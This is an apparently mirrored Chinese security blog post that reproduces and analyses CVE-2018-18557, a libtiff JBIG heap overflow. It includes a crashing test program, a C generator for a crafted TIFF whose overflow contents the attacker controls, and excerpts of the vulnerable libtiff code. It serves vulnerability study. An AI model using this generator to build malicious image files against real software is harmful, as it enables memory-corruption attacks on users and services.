CVE-2018-18557复现与分析
2020-04-26 10:35:25 Author: xz.aliyun.com(查看原文) 阅读量:392 收藏

TIFF与其他文件格式最大的不同在于除了图像数据,它还可以记录很多图像的其他信息。它记录图像数据的方式也比较灵活, 理论上来说, 任何其他的图像格式都能为TIFF所用, 嵌入到TIFF里面。比如JPEG, Lossless JPEG, JPEG2000和任意数据宽度的原始无压缩数据都可以方便的嵌入到TIFF中去。由于它的可扩展性, TIFF在数字影响、遥感、医学等领域中得到了广泛的应用。TIFF文件的后缀是.tif或者.tiff

#include <stdio.h>
#include "tiffio.h"

int main(int argc, char const *argv[])
{
    if (argc<2)
    {
        printf("usage: %s <tif file>\n",argv[0]);
        return -1;
    }

    TIFF* tif = TIFFOpen(argv[1], "r");
    if (tif) {
    tdata_t buf;
    tstrip_t strip;

    buf = _TIFFmalloc(TIFFStripSize(tif));
    for (strip = 0; strip < TIFFNumberOfStrips(tif); strip++)
        TIFFReadEncodedStrip(tif, strip, buf, (tsize_t) -1);
    puts("it will crash,because heap space has been overflow:\n");
    _TIFFfree(buf);//<<< crash!

    TIFFClose(tif);
    }
}
//gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz

gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdint.h>
#include "jbig.h"


void output_bie(unsigned char *start, size_t len, void *file)
{
  fwrite(start, 1, len, (FILE *) file);

  return;
}

int main(int argc, char**argv)
{
  FILE* inputfile = fopen(argv[1], "rb");
  FILE* outputfile = fopen(argv[2], "wb");

  // Write the hacky TIF header.
  unsigned char buf[] = {
    0x49, 0x49, // Identifier.
    0x2A, 0x00, // Version.
    0xCA, 0x03, 0x00, 0x00, // First IFD offset.
    0x32, 0x30, 0x30, 0x31,
    0x3a, 0x31, 0x31, 0x3a,
    0x32, 0x37, 0x20, 0x32,
    0x31, 0x3a, 0x34, 0x30,
    0x3a, 0x32, 0x38, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00
  };
  fwrite(&(buf[0]), sizeof(buf), 1, outputfile);

  // Read the inputfile.
  struct stat st;
  stat(argv[1], &st);
  size_t size = st.st_size;
  unsigned char* data = malloc(size);
  fread(data, size, 1, inputfile);

  // Calculate how many "pixels" we have in the input.
  unsigned char *bitmaps[1] = { data };
  struct jbg_enc_state se;

  jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);
  jbg_enc_out(&se);
  jbg_enc_free(&se);

  // The raw JBIG data has been written, now write the IFDs for the TIF file.
  unsigned char ifds[] = {
    0x0E, 0x00, // Number of entries.     +0

    0xFE, 0x00, // Subfile type.          +2
    0x04, 0x00, // Datatype: LONG.        +6
    0x01, 0x00, 0x00, 0x00, // 1 element. +10
    0x00, 0x00, 0x00, 0x00, // 0          +14
    0x00, 0x01, // IMAGE_WIDTH            +16
    0x03, 0x00, // Datatype: SHORT.       +18
    0x01, 0x00, 0x00, 0x00, // 1 element. +22
    0x96, 0x00, 0x00, 0x00, // 96 hex width.  +26
    0x01, 0x01, // IMAGE_LENGTH           +28
    0x03, 0x00, // SHORT                  +30
    0x01, 0x00, 0x00, 0x00, // 1 element  +34
    0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
    0x02, 0x01, // BITS_PER_SAMPLE        +40
    0x03, 0x00, // SHORT                  +42
    0x01, 0x00, 0x00, 0x00, // 1 element  +46
    0x01, 0x00, 0x00, 0x00, // 1          +50
    0x03, 0x01, // COMPRESSION            +52
    0x03, 0x00, // SHORT                  +54
    0x01, 0x00, 0x00, 0x00, // 1 element  +58
    0x65, 0x87, 0x00, 0x00, // JBIG       +62
    0x06, 0x01, // PHOTOMETRIC            +64
    0x03, 0x00, // SHORT                  +66
    0x01, 0x00, 0x00, 0x00, // 1 element  +70
    0x00, 0x00, 0x00, 0x00,          // / +74
    0x11, 0x01, // STRIP_OFFSETS          +78
    0x04, 0x00, // LONG                   +80
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +82
    0x2C, 0x00, 0x00, 0x00, // Offset 2C in file  +86
    0x15, 0x01, // SAMPLES_PER_PIXEL      +90
    0x03, 0x00, // SHORT                  +92
    0x01, 0x00, 0x00, 0x00, // 1 element  +94
    0x01, 0x00, 0x00, 0x00, // 1          +98
    0x16, 0x01, // ROWS_PER_STRIP         +102
    0x04, 0x00, // LONG                   +104
    0x01, 0x00, 0x00, 0x00, // 1 element  +106
    0xFF, 0xFF, 0xFF, 0xFF, // Invalid    +110
    0x17, 0x01, // STRIP_BYTE_COUNTS      +114
    0x04, 0x00, // LONG                   +116
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +118
    0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
    0x1A, 0x01, // X_RESOLUTION
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 element
    0x1C, 0x00, 0x00, 0x00,
    0x1B, 0x01, // Y_RESOLUTION
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x24, 0x00, 0x00, 0x00,
    0x28, 0x01, // RESOLUTION_UNIT
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // 2
    0x0A, 0x01, // FILL_ORDER
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // Bit order inverted.
    0x00, 0x00, 0x00, 0x00 };

  // Adjust the offset for the IFDs.
  uint32_t ifd_offset = ftell(outputfile);
  fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
  fseek(outputfile, 4, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  // Adjust the strip size properly.
  fseek(outputfile, ifd_offset + 118, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  fclose(outputfile);
  fclose(inputfile);
  return 0;
}

它主要的作用是生成一个可发生堆溢出的tiff文件,且溢出内容可以由我们控制,如创建一个文本文件text,其内容大量填充为aaaa...

这里报错是,free的时候发现该chunk的next size位异常,这种情况实际上是因为堆溢出太多数据,导致后续free的时候很多chunk被溢出篡改了数据,所以产生了这种报错

TIFFReadEncodedStrip(TIFF* tif, uint32 strip, void* buf, tmsize_t size)
{
    static const char module[] = "TIFFReadEncodedStrip";
    TIFFDirectory *td = &tif->tif_dir;
    tmsize_t stripsize;
    uint16 plane;

    stripsize=TIFFReadEncodedStripGetStripSize(tif, strip, &plane);
    if (stripsize==((tmsize_t)(-1)))
        return((tmsize_t)(-1));

    /* shortcut to avoid an extra memcpy() */
    if( td->td_compression == COMPRESSION_NONE &&
        size!=(tmsize_t)(-1) && size >= stripsize &&
        !isMapped(tif) &&
        ((tif->tif_flags&TIFF_NOREADRAW)==0) )
    {
        if (TIFFReadRawStrip1(tif, strip, buf, stripsize, module) != stripsize)
            return ((tmsize_t)(-1));

        if (!isFillOrder(tif, td->td_fillorder) &&
            (tif->tif_flags & TIFF_NOBITREV) == 0)
            TIFFReverseBits(buf,stripsize);

        (*tif->tif_postdecode)(tif,buf,stripsize);
        return (stripsize);
    }

    if ((size!=(tmsize_t)(-1))&&(size<stripsize))
        stripsize=size;
    if (!TIFFFillStrip(tif,strip))
        return((tmsize_t)(-1));
    if ((*tif->tif_decodestrip)(tif,buf,stripsize,plane)<=0)//调用JBIGDecode
        return((tmsize_t)(-1));
    (*tif->tif_postdecode)(tif,buf,stripsize);
    return(stripsize);
}
int TIFFInitJBIG(TIFF* tif, int scheme)
{
    assert(scheme == COMPRESSION_JBIG);

    /*
     * These flags are set so the JBIG Codec can control when to reverse
     * bits and when not to and to allow the jbig decoder and bit reverser
     * to write to memory when necessary.
     */
    tif->tif_flags |= TIFF_NOBITREV;
    tif->tif_flags &= ~TIFF_MAPPED;

    /* Setup the function pointers for encode, decode, and cleanup. */
    tif->tif_setupdecode = JBIGSetupDecode;
    tif->tif_decodestrip = JBIGDecode;//<<<声明
    tif->tif_setupencode = JBIGSetupEncode;
    tif->tif_encodestrip = JBIGEncode;

    return 1;
}
static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
    struct jbg_dec_state decoder;
    int decodeStatus = 0;
    unsigned char* pImage = NULL;
    (void) size, (void) s;

    if (isFillOrder(tif, tif->tif_dir.td_fillorder))
    {
        TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
    }

    jbg_dec_init(&decoder);

#if defined(HAVE_JBG_NEWLEN)
    jbg_newlen(tif->tif_rawdata, (size_t)tif->tif_rawdatasize);
#endif /* HAVE_JBG_NEWLEN */

    decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
                  (size_t)tif->tif_rawdatasize, NULL);
    if (JBG_EOK != decodeStatus)
    {
        TIFFErrorExt(tif->tif_clientdata,
                 "JBIG", "Error (%d) decoding: %s",
                 decodeStatus,
#if defined(JBG_EN)
                 jbg_strerror(decodeStatus, JBG_EN)
#else
                 jbg_strerror(decodeStatus)
#endif
                 );
        jbg_dec_free(&decoder);
        return 0;
    }

    pImage = jbg_dec_getimage(&decoder, 0);
    _TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
    jbg_dec_free(&decoder);
    return 1;
}

_TIFFmemcpy(void* d, const void* s, tmsize_t c)
{
    memcpy(d, s, (size_t) c);
}

可以看到,这里对jbg_dec_getsize(&decoder)的返回值是完全没有检查的,而该函数是直接封装到libjbig中的,它会直接从tiff文件中读取长度,因此过长的长度也不会被检查出来,由此引发堆溢出的漏洞


文章来源: http://xz.aliyun.com/t/7590
如有侵权请联系:admin#unsafe.sh